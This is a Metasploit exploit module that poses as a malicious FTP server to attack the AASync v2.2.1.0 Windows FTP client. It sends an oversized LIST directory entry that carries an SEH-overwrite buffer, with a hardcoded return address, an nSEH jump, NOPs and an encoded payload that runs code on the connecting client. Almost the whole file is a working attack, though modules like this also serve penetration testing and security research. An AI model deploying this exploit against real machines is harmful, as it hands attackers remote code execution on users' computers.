##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::FtpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AASync v2.2.1.0 (Win32) Stack Buffer Overflow (LIST)',
      'Description'    => %q{
          This module exploits a stack buffer overflow in AASync v2.2.1.0, triggered when
        processing the response on a LIST command. During the overflow, a structured exception
        handler record gets overwritten.
      },
      'Author' 	 =>
        [
          'corelanc0d3r <peter.ve[at]corelan.be>', #found bug and wrote the exploit
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '68701' ],
          [ 'EDB', '16738' ],
          [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'XP SP3 Universal', { 'Offset' => 6340,'Ret' => 0x61181674  } ],  # ppr [pthreadgc2.dll]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Oct 12 2010',
      'DefaultTarget'  => 0))

  end

  #---------------------------------------------------------------------------------

  def setup
    super
  end

  def on_client_unknown_command(c,cmd,arg)
    c.put("200 OK\r\n")
  end

  def on_client_command_list(c,arg)
      conn = establish_data_connection(c)
      if(not conn)
        c.put("425 Can't build data connection\r\n")
        return
      end
      print_status(" - Data connection set up")
      code = 150
      c.put("#{code} Here comes the directory listing.\r\n")
      code = 226
      c.put("#{code} Directory send ok.\r\n")
      offset_to_nseh = target['Offset']
      filename = "admin passwords.txt"
      padding = " " * (offset_to_nseh-filename.length)
      nseh = "\xeb\x0c\x41\x41"
      seh = [target.ret].pack('V') #\x74\x16 = jump
      nops = "A" * 30
      junk2 = "A" * 5000
      #dual offsets to seh
      buffer = filename + padding + nseh + seh + seh + nops + payload.encoded + junk2
      print_status(" - Sending directory list via data connection")
      dirlist = "-rw-rw-r--    1 1176     1176         1060 Aug 16 22:22 #{buffer}\r\n"
      conn.put(dirlist)
      conn.close
      print_status(" - Payload sent")
      return
  end
end
